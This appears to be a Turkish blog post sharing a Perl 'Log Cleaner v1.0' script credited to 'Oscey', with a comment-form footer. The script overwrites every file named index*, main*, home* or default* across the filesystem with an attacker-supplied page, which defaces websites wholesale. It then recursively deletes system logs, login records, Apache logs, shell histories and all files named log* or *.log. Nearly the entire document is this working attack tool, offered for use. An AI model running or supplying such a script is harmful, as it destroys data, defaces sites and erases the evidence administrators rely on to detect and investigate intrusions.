Kod:
#!/usr/bin/perl #Modified BY OSCEY use strict; my $index = $ARGV[0]; if ($ARGV[0]) { if( -e $index ) { system "echo -e \"\033[01;34mLoglar Siliniyor Bekleyin !!\033[01;37m\"\n"; system "find / -name \"index*\" -exec cp $index {} \\;"; system "find / -name \"main*\" -exec cp $index {} \\;"; system "find / -name \"home*\" -exec cp $index {} \\;"; system "find / -name \"default*\" -exec cp $index {} \\;"; system "echo -e \"\\033[01;37m----------------------------------------------------------\"\n"; system "echo -e \"\\033[01;37mLoglar temizleniyor bekleyin...\"\n"; if( -e "/var/log/lastlog" ) { system 'rm -rf /var/log/lastlog'; system "echo -e \"\\033[01;37m[*]/var/log/lastlog -temizlendi\"\n"; } else { system "echo -e \"\\033[01;31m[*]/var/log/lastlog - Klasor yok\\033[01;37m\"\n"; } if( -e "/var/log/wtmp" ) { system 'rm -rf /var/log/wtmp'; system "echo -e \"\\033[01;37m[*]/var/log/wtmp -temizlendi\"\n"; } else { system "echo -e \"\\033[01;31m[*]/var/log/wtmp - klasor yok\\033[01;37m\"\n"; } if( -e "/etc/wtmp" ) { system 'rm -rf /etc/wtmp'; system "echo -e \"\\033[01;37m[*]/etc/wtmp -temizlendi\"\n"; } else { system "echo -e \"\\033[01;31m[*]/etc/wtmp - klasor yok\\033[01;37m\"\n"; } if( -e "/var/run/utmp" ) { system 'rm -rf /var/run/utmp'; system "echo -e \"\\033[01;37m[*]/var/run/utmp -temizlendi\"\n"; } else { system "echo -e \"\\033[01;31m[*]/var/run/utmp - klasor yok\\033[01;37m\"\n"; } if( -e "/etc/utmp" ) { system 'rm -rf /etc/utmp'; system "echo -e \"\\033[01;37m[*]/etc/utmp -temizlendi\"\n"; } else { system "echo -e \"\\033[01;31m[*]/etc/utmp - klasor yok\\033[01;37m\"\n"; } if( -e "/var/log" ) { system 'rm -rf /var/log'; system "echo -e \"\\033[01;37m[*]/var/log -temizlendi\"\n"; } else { system "echo -e \"\\033[01;31m[*]/var/log - klasor yok\\033[01;37m\"\n"; } if( -e "/var/logs" ) { system 'rm -rf /var/logs'; system "echo -e \"\\033[01;37m[*]/var/logs -temizlendi\"\n"; } else { system "echo -e \"\\033[01;31m[*]/var/logs - klasor yok\\033[01;37m\"\n"; } if( -e "/var/adm" ) { system 'rm -rf /var/adm'; system "echo -e \"\\033[01;37m[*]/var/adm -temizlendi\"\n"; } else { system "echo -e \"\\033[01;31m[*]/var/adm - klasor yok\\033[01;37m\"\n"; } if( -e "/var/apache/log" ) { system 'rm -rf /var/apache/log'; system "echo -e \"\\033[01;37m[*]/var/apache/log -temizlendi\"\n"; } else { system "echo -e \"\\033[01;31m[*]/var/apache/log - klasor yok\\033[01;37m\"\n"; } if( -e "/var/apache/logs" ) { system 'rm -rf /var/apache/logs'; system "echo -e \"\\033[01;37m[*]/var/apache/logs -temizlendi\"\n"; } else { system "echo -e \"\\033[01;31m[*]/var/apache/logs - klasor yok\\033[01;37m\"\n"; } if( -e "/usr/local/apache/log" ) { system 'rm -rf /usr/local/apache/log'; system "echo -e \"\\033[01;37m[*]/usr/local/apache/log -temizlendi\"\n"; } else { system "echo -e \"\\033[01;31m[*]/usr/local/apache/log - klasor yok\\033[01;37m\"\n"; } if( -e "/usr/local/apache/logs" ) { system 'rm -rf /usr/local/apache/logs'; system "echo -e \"\\033[01;37m[*]/usr/local/apache/logs -temizlendi\"\n"; } else { system "echo -e \"\\033[01;31m[*]/usr/local/apache/logs - klasor yok\\033[01;37m\"\n"; } if( -e "/root/.bash_history" ) { system 'rm -rf /root/.bash_history'; system "echo -e \"\\033[01;37m[*]/root/.bash_history -temizlendi\"\n"; } else { system "echo -e \"\\033[01;31m[*]/root/.bash_history - klasor yok\\033[01;37m\"\n"; } if( -e "/root/.ksh_history" ) { system 'rm -rf /root/.ksh_history'; system "echo -e \"\\033[01;37m[*]/root/.ksh_history -temizlendi\"\n"; } else { system "echo -e \"\\033[01;31m[*]/root/.ksh_history - klasor yok\\033[01;37m\"\n"; } system "echo -e \"\\033[01;37m[+] -----Tüm loglar ve komud kayıtları silindi\"\n"; system 'find / -name *.bash_history -exec rm -rf {} \;'; system "echo -e \"\\033[01;37m[*] all *.bash_history -temizlendi!\"\n"; system 'find / -name *.bash_logout -exec rm -rf {} \;'; system "echo -e \"\\033[01;37m[*] all *.bash_logout -temizlendi!\"\n"; system 'find / -name "log*" -exec rm -rf {} \;'; system "echo -e \"\\033[01;37m[*]tüm loglar temizlendi!\"\n"; system 'find / -name *.log -exec rm -rf {} \;'; system "echo -e \"\\033[01;37m[*] *.log dosyaları temizlendi!\"\n"; system "echo -e \"\033[01;34m-------[+] !sorunsuz şekilde loglar silindi![+]-------\033[01;37m\"\n"; system "echo -e \"\033[01;34m---------------------------------------------------\033[01;37m\"\n"; system "echo -e \"\033[01;34m-----------------Respect - Oscey----------------------\033[01;37m\"\n"; } else { system "echo -e \"\\033[01;31m[-] Hata hedef yok !\\033[01;37m\"\n"; exit; } } else { system "echo -e \"\\033[01;37m!!Log Cleaner v1.0 Oscey!!\"\n"; system "echo -e \"\\033[01;37m!!!!!!!!!!!!!!!!!! [ll!!!!!!!!!!!!!!!!!!!!!!!!\"\n"; system "echo -e \"\\033[01;37örnek : perl $0 dizin\"\n"; system "echo -e \"\\033[01;37çalıştırma : perl $0 /tmp/index.html\"\n"; exit; }
Hiç yorum yok:
Yorum Gönder